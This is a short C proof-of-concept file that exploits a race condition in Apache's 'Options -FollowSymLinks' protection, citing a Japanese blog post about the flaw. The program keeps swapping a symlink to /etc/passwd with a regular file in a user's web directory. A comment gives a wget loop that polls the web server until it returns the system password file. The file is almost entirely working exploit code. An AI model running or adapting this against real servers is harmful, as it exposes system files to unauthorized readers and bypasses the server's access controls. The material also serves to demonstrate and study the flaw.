workaround-for-no-followsymlinks.c

/*
  Apache HTTPD: `Options -FollowSymLinks` は不完全 - ダメ出し Blog
  http://fumiyas.github.io/2013/09/03/no-followsymlinks-is-not-safe.html

  while :; do wget -q -O - http://example.jp/~user/passwd >passwd && [ -s passwd ] && break; done
*/

#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sched.h>

int main(int argc, char **argv) {
  while (1) {
    symlink("/etc/passwd", "passwd");
    sched_yield();
    sched_yield();
    sched_yield();
    sched_yield();
    sched_yield();
    sched_yield();
    sched_yield();
    sched_yield();
    unlink("passwd");
    close(creat("passwd", 0755));
    sched_yield();
    sched_yield();
    sched_yield();
    sched_yield();
    sched_yield();
    sched_yield();
    sched_yield();
    sched_yield();
    unlink("passwd");
  }
}